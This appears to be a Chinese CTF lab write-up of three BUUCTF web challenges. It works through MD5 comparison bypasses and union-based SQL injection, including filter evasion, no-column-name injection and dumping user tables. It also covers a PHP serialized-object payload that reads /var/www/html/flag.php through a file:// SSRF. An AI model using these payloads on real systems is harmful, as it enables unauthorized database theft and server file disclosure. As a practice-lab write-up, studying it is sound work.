buu学习(自闭)之旅(二)
前言
在学习的过程中,越学习越能发现自己的菜,害,奥里给兄弟们干就完了!!
一、easymd5
这个题,怎么说呢,真的是绕来绕去,很皮。
首先打开题目,
我一看,这是嘛呀,直接输入1抓包吧。于是就发现了很有趣的东西。
好嘛,这是php MD5
函数啊这。于是拿在本地试验了一下。
这直接输出的嘛呀,百度了一下发现是
原来是字符的二进制格式,那么现在就该想了,明显的是sql查询语句,于是构造payload应该能够绕过这个语句,也就是说用神句'or 1=1#
这种格式的来进行绕过,这里直接白嫖了网上大师傅们的字符 ffifdyop、129581926211651571912466741651878684928
两个都可以,如果有长度限制就选第一个,这里我直接用第一个进行尝试。得到
提示在levels91.php
页面中,所以来到这个页面
发现php源码
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
所以再次构造payload为:?a[]=1b[]=2
得到
提示在levell14.php
页面中,来到这个页面
看着是不是很花里胡哨,在浏览器打开
直接payload构造为:param1[]=1¶m2[]=2
,得到flag
总结 这题完全就是在绕来绕去啊,给我绕笑了都。绕我一个二十岁的小同志,这好吗?这不好。我劝出题人耗子尾汁。
然后这里总结一下MD5类型的php源码绕过
MD5绕过姿势
1、php的弱类型语言
结果
2、MD5函数漏洞
<?php
$a='';
$b='';
if($a!=$b && md5($a)==md5($b))
echo "ok";
else
echo"nono";
?>
正常情况下会输出nono
,但是php语言中的MD5函数有个特性就是不会处理数组型数据,遇到会返回null
,但是这里用数组的话明显是没办法绕过的,所以这里就需要另一个特性,就是md5加密后为0e
开头的会按照0
处理,所以可以构造加密后的是0e
开头的字符串进行绕过。这里给出几个
240610708
s878926199a
s155964671a
s214587387a
s214587387a
所以可以利用这个绕过。
3、MD5碰撞
<?php
error_reporting(0);
if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!");
}
?>
如果是这样的,同样可以利用,但是改一下之后,
<?php
error_reporting(0);
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!");
}
?>
因为加了一个string强转换,所以无法用上面的那些弱类型的方法了。
只能通过MD5强碰撞来绕过,也就是说不同的值得到一个相同的MD5值。
然后这里通过一个神奇工具来进行碰撞–Md5collision
具体用法就一句:fastcoll_v1.0.0.5.exe -p init.txt -o 1.txt 2.txt
,init.txt是自己创建的文件,随便写东西。
然后在Md5collision.php
里得到url值,提交。
二、fakebook
打开看了一下,怎么说呢,就很快啊,页面很简洁,给我一个无从下手的感觉。
然后就在GitHub上搜索了一下fakebook。然后没发现啥。是我菜了,所以开始吧。
尝试了一下robots协议,别说,还真发现了点东西,不知道robots协议的问驴去,别问我驴是谁,我也不知道。下载文件,打开
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
然后就莫名其妙的想到了序列化和反序列化。然后没发现什么了,那就去注册吧。随便注册了一个。得到用户界面
发现用户名字那里可以点。此时搜索框发生了奇妙的变化
突然就想梭一把,来吧,展示,sqlmap一把梭。然而,没梭出来。不慌,大意了。慢慢来。尝试一下联合查询。
payload为?no=0 union/**/select 1,2,3,4--+
(这里之前实验过存在一个union select过滤,以及无闭合符号),提示回显在第二位
而且现在网站的根目录得到了。
所以接着就来吧,按照联合查询一个一个来。依次构造payload为:
爆库名:?no=0 union/**/select 1,database(),3,4--+
爆表名:?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+
爆字段:?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+
爆值: ?no=0 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users--+
好家伙,看到没,我就说了有序列化吧。
可以发现有序列化字符串中,包含了你的所有用户信息,所以构造函数,用上面找到的文件里面的类。
<?php
class Userinfo
{
public $name = "12";
public $age = 12;
public $blog = "file:///var/www/html/flag.php";
}
$data = new Userinfo();
echo serialize($data);
?>
运行得到序列化字符串:O:8:"Userinfo":3:{s:4:"name";s:2:"12";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
所以直接构造最终payload:?no=0 union/**/select 1,2,3,'O:8:"Userinfo":3:{s:4:"name";s:2:"12";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
,最终界面:
发现file协议出现,说明执行成功,直接F12查看源码,得到flag
总结
本题考查知识点:1、ssrf 2、php序列化 3、sql注入,不过好在比较简单,还在我的范围内,没自闭,很抱歉呢。
题外话
之后看了大师傅们的博客,发现了一个更简单的方法
使用load_file()函数,直接得到flag,不过前提是知道flag文件位置
payload:/view.php?no=0 union/**/select 1,load_file(‘/var/www/html/flag.php’),3,4
不过在这之前就直接出来了根目录,也不算太难猜。但是不知道为什么我在尝试的时候不正确,一直报错,有大师傅知道的可以教我一下吗?老司机带带我啊!
三、[SWPU2019]Web1
打开题目,发现页面非常的简洁,就一登陆注册框,啥也没有。
然后也没啥具体的思路,登陆进去看了一下用户的界面,发现了一个可以提供操作的地方。
然后就在想,要不要传个马试一下,说不定就行了呢。于是进行了尝试,发现传进去的马单引号会被按照sql语句处理,这就很明白了,一个sql注入题目。利用上传广告的广告名进行二次注入。
然后进行尝试,发现过滤了一些东西,经过尝试发现过滤的有:
空格,利用/**/绕过;
order by语句,不知道利用什么,就直接手注尝试发现有22列;
过滤--+、#
information_schema,百度得到绕过方法:
1、利用mysql5.7新增的sys.schema_auto_increment_columns
在mysql5.7版本之后,sys数据库下的一个视图,基础数据来自与information_schema,他的作用是对表的自增ID进行监控,也就是说,如果某张表存在自增ID,就可以通过该视图来获取其表名和所在数据库名
2、sys.schema_table_statistics_with_buffer
sys数据库下的视图,里面存储着所有数据库所有表的统计信息
3、mysql默认存储引擎innoDB携带的表
mysql.innodb_table_stats
mysql.innodb_index_stats
两表均有database_name和table_name
字段,可以利用。然后这个题目中学到了一个无列名注入。对于这个,详细的可以参照无列名注入博客 ,里面说的很详细。所以这个题目,拿到之后,因为之前尝试了过滤order by子句,所以只能进行手注,0‘union/**/select/**/1,2,3,'
在列名尝试到22时,得到回显位。
提示在第二位,所以接着构造payload0'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
,得到表名。
然后发现FLAG_TABLE
表名,就幻想flag在里面。然后构造payload:0'union/**/select/**/1,(select/**/group_concat(a)from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/FLAG_TABLE)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
,得到了nothing
然后就知道flag不在这里,然后就想是在users里面,所以最终payload为:0'union/**/select/**/1,(select/**/group_concat(a)from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
,得到flag
题目payload讲解
在刚才的解题过程中,用到的一些payload。
在MySQL语句中,有一个给列名起别名的功能,比如
而如果起别名的话,
而如果接着查询的话,可以这样
然后还有另一种方法,用于反引号过滤。
对于后面的a,b没什么含义,随便起。
所以这个payload:0'union/**/select/**/1,(select/**/group_concat(a)from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
中的意思就是将查询的结果列名用1,2,3表示,给3起个别名为a,然后打印出a列中的所有字符。
题目总结
本题考察知识点:SQL注入中的无列名注入、MySQL中的基本语法
对于这个,我只想说,果然是纯手工注入才是灵魂!